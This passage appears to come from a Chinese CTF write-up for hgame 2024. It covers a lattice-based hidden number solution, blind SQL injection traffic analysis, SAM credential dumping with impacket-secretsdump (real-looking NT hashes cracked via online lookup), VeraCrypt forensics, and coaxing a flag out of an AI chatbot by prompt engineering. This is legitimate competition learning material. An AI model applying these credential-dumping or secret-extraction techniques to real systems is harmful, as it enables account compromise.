120993130590874228473811314869823704699012435303134640953201808807618070048912918046616664677916248813062043597607873728870402493717351447905456920806865,
225304065277179628426625426171980576810274065309744632586978381220117114415076887588596372932491571481271913824778419475263692826771234473619861170863008 9,
865000727215428305735066431150588753584126876742454501690141898955562086909114565121644872320024091414388277461667896872552391431096535687568120729524243 4,
962874782910758465001415607992810880168715802908622173088399974904453284648966611547399300544219285917193188279597377413130990002128731905921610593967075 7,
108469369515220937060920279081316799124326897124519207184390967064355339269962157661919670526679660659170066915657716957727987112028121807829012502496130 72,
160686565122798873666412702167868929998904543999833660356223290886340577847452091517076677181133631965579274659098174061782356481357311841006497608198923 7,
623906365759172109773504940961087294121407869933013682659295854921248180297397310437454855518490792925503157052534300751843435769048042998101678111024961 2,
185536591638711462058102993970705370106247674523557868355806379660474444805027813895435950692287596753756735957566239429757995837210748427636092056773045 8,
]
res = [
    2150646508,
    1512876052,
    2420557546,
    2504482055,
    892924885,
    213721693,
    2708081441,
    1242578136,
    717552493,
    3210536920,
    2868728798,
    1873446451,
    645647556,
    2863150833,
    2481560171,
    2518043272,
    3183116112,
    3032464437,
```

```
    934713925,
    470165267,
    1104983992,
    194502564,
    1621769687,
    3844589346,
    21450588,
    2520267465,
    2516176644,
    3290591307,
    3605562914,
    140915309,
    3690380156,
    3646976628,
]
n = 32

l = 2**n + 1
l_inv = inverse_mod(l, p)

t = list(map(lambda ti: -ti * l_inv, t_orig))
a = list(map(lambda ri: ri * l_inv, res))
B = p / 2**32

Bmat = Matrix(QQ, n + 2, n + 2)
for i in range(n):
    Bmat[i, i] = p
    Bmat[n, i] = t[i]
    Bmat[n + 1, i] = a[i]
Bmat[n, n] = B / p
Bmat[n + 1, n + 1] = B

Bmat = Bmat.LLL()

Bmat_0 = Bmat.row(0)
cnt_nonzero = 0
for Bmat_0j in Bmat_0:
    if Bmat_0j != 0:
        B = Bmat_0j
        cnt_nonzero += 1
assert cnt_nonzero == 1

for i in range(1, n + 2):
    Bmat_i = Bmat.row(i)
    res = Bmat_i[-2] * p / B
    print(hex(res))

```

result.txt
4.23KB

从中选取合适的结果就是flag。

https://cyberchef.org/#recipe=From_Hex('None')&input=ZmZmZmZmZmZmZmZmNWY2ODY3NjE2ZDY1N2I0ODMxNjQ2NDMzNmU1ZjRlNzU2ZDYyMzM3MjVmNTA3MjMwNjI2YzMzNmQ1ZjY4NjE3MzVmNjQ2OTY2NjYzMzcyNjU2ZTc0NWY3MzMxNzQ3NTYxNzQ2OTMwNmU3ZGZmZmZmZmZm

`hgame{H1dd3n_Numb3r_Pr0bl3m_has_diff3rent_s1tuati0n}`

Misc | AK

与AI聊天 | Done

> 跟他聊一聊吧，从他嘴里翘出flag
>
> https://udify.app/chat/oRajccxObXREMLlO
>
> 注意请不要过快提问

基础prompt engineering。



`hgame{Is_this_a_ai?}`

Blind SQL Injection | Done

> Blind SQL Injection but in Misc

> blindsql.pcapng
> 1.13MB

流量审计。响应有两种，长度为726的1-1结果和长度为740的1-0结果。如果SQLi的条件成立则返回长度为726的帧。由于注入时判断为大于，所以响应长度为740的请求中的最小值即为flag该位置字符的ASCII码。

按照帧长度过滤出所有长度为740的响应

```
http && (ip.src==172.16.14.21 || frame.len == 740)
```

然后取每组的最小值即可。



https://cyberchef.org/#recipe=From_Decimal('Line%20feed',false)Reverse('Character')&input=MTI1CjEwMgo1MAoxMDIKOTcKNTYKNTAKNTcKNTMKOTkKNTYKNTEKMTAwCjQ1CjU0Cjk5Cjk3Cjk4CjQ1CjU2CjU3CjEwMQo1Mgo0NQo1Mwo1MAo1NQo0OQo0NQo1NQoxMDEKMTAyCjk3Cjk4Cjk3Cjk4Cjk5CjEyMwoxMDMKOTcKMTA4CjEwMgo0NA

```
flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}
```

简单的vmdk取证 | Done

> 先找到密码吧 flag
>
> 格式：hgame{nthash_password}
>
> 例如hgame{05D0AB2BB13711B31D5E251C128C889E_happy}
>
> 附件下载：
>
> 链接：

> - 百度网盘： https://pan.baidu.com/s/1IYeZ1oRjo2zO-Wf6mB2TVA 提取码：vics
> - OneDrive: https://1drv.ms/u/s!ApqEx2DdrD-aoZAr04PLsH2cZESgHA?e=H41gaj
> - 夸克云盘： https://pan.quark.cn/s/2b03994942f1#/list/share

Mount，dump出注册表文件，然后使用impacket-secretsdump即可获取NT Hash。




```
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam ./SAM -system ./system -security ./SECURITY LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x57aeb759fdad3c39cebb787a4fe2b355
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:ac804745ee68ebea19f10a933d4868dc:dac3a2930fc196001f3aeab959748448:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:3d71e1687ae90fb7f887cc48364e29e4:2c5f92675b68aa855091ebb4108ae229:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:f9a0ee136422ce87371cf1666e958dad:::

...

[*] Cleaning up...

┌──(kali㉿kali)-[~]
└─$
```

```
18
```

查找在线数据库可得到原文。



NT hash转大写拼接即可。

https://cyberchef.org/#recipe=To_Upper_case('All')&input=ZGFjM2EyOTMwZmMxOTYwMDFmM2FlYWI5NTk3NDg0NDg

`hgame{DAC3A2930FC196001F3AEAB959748448_Admin1234}`

简单的取证,不过前十个有红包 | Done

> 找到veracrypt的文件，拿到flag吧
>
> 补充附件：
>
> 链接：https://pan.baidu.com/s/19pj-juLLE4BY0lVxFyO4iQ 提取码：ccyk

> **Hint1** 备注：需要与另一道取证题的附件结合起来看
>
> vera.hc
> 30.00MB

上一题中的用户桌面上存在一个图片：



OCR得到key。



968fJD17UBzZG6e3yjF6




```
PS D:\Workspace\rev\hgame_2024\week_3\vera> dir W:\

    Directory: W:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---           2024/2/14    17:19             51 flag.txt

PS D:\Workspace\rev\hgame_2024\week_3\vera> cat W:\flag.txt
hgame{happy_new_year_her3_1s_a_redbag_key_41342177}
PS D:\Workspace\rev\hgame_2024\week_3\vera>
```

`hgame{happy_new_year_her3_1s_a_redbag_key_41342177}`